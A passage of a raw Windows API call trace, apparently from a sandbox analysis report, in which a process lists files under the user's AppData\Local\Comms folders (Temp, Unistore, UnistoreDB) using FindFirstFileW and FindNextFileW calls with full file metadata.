SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0179.071] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp", lpFilePart=0x0) returned 0x28 [0179.071] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x476c0de7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.072] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x476c0de7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.072] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e43986b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarCache.dat", cAlternateFileName="CALEND~1.DAT")) returned 1 [0179.072] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.072] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0179.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0179.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0179.072] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp", lpFilePart=0x0) returned 0x28 [0179.072] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x476c0de7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.072] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x476c0de7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.073] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e43986b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarCache.dat", cAlternateFileName="CALEND~1.DAT")) returned 1 [0179.073] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e43986b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarCache.dat", cAlternateFileName="CALEND~1.DAT")) returned 0 [0179.073] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0179.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0179.073] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore", lpFilePart=0x0) returned 0x2c [0179.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0179.073] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore", lpFilePart=0x0) returned 0x2c [0179.073] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4713d6be, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6d619041, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.073] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4713d6be, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6d619041, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.074] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d619041, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30deaa8c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="data", cAlternateFileName="")) returned 1 [0179.074] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d619041, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30deaa8c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="data", cAlternateFileName="")) returned 0 [0179.074] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0179.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0179.074] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0179.074] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore", lpFilePart=0x0) returned 0x2c [0179.074] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4713d6be, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6d619041, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.074] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4713d6be, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6d619041, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.075] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d619041, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30deaa8c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="data", cAlternateFileName="")) returned 1 [0179.075] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.075] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0179.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0179.075] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data", lpFilePart=0x0) returned 0x31 [0179.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.075] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data", lpFilePart=0x0) returned 0x31 [0179.075] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d619041, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x30deaa8c, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x30deaa8c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f410 [0179.075] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d619041, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x30deaa8c, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x30deaa8c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.075] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92842523, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92842523, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x181411a4, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AggregateCache.uca", cAlternateFileName="AGGREG~1.UCA")) returned 1 [0179.076] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.076] FindClose (in: hFindFile=0x135f410 | out: hFindFile=0x135f410) returned 1 [0179.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.076] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data", lpFilePart=0x0) returned 0x31 [0179.076] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d619041, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x30deaa8c, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x30deaa8c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.076] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d619041, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x30deaa8c, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x30deaa8c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.076] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92842523, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92842523, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x181411a4, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AggregateCache.uca", cAlternateFileName="AGGREG~1.UCA")) returned 1 [0179.076] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92842523, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92842523, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x181411a4, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AggregateCache.uca", cAlternateFileName="AGGREG~1.UCA")) returned 0 [0179.077] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.077] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB", lpFilePart=0x0) returned 0x2e [0179.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0179.077] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB", lpFilePart=0x0) returned 0x2e [0179.077] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe8ea1382, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xe8ea1382, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.077] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe8ea1382, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xe8ea1382, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.077] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bfe5114, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6bfe5114, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe7ad659a, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="store.jfm", cAlternateFileName="")) returned 1 [0179.078] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46f4d81c, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x46f4d81c, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xe8d49d4d, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0xd80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="store.vol", cAlternateFileName="")) returned 1 [0179.078] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8ea1382, ftCreationTime.dwHighDateTime=0x1d69a98, ftLastAccessTime.dwLowDateTime=0xe8ea1382, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xe8fd2599, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tmp.edb", cAlternateFileName="")) returned 1 [0179.078] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c293b35, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c293b35, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe7ad659a, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USS.jcp", cAlternateFileName="")) returned 1 [0179.078] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c1163b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c1163b2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe7ad659a, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USS.jtx", cAlternateFileName="")) returned 1 [0179.078] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46a62b13, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x46a62b13, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x46a62b13, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USSres00001.jrs", cAlternateFileName="USSRES~1.JRS")) returned 1 [0179.078] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46a62b13, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x46a62b13, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x46a62b13, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USSres00002.jrs", cAlternateFileName="USSRES~2.JRS")) returned 1 [0179.078] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c1163b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c221427, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6c221427, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USStmp.jtx", cAlternateFileName="")) returned 1 [0179.078] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.078] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0179.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0179.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0179.079] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB", lpFilePart=0x0) returned 0x2e [0179.079] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe8ea1382, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xe8ea1382, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f790 [0179.079] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe8ea1382, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xe8ea1382, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.079] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bfe5114, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6bfe5114, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe7ad659a, 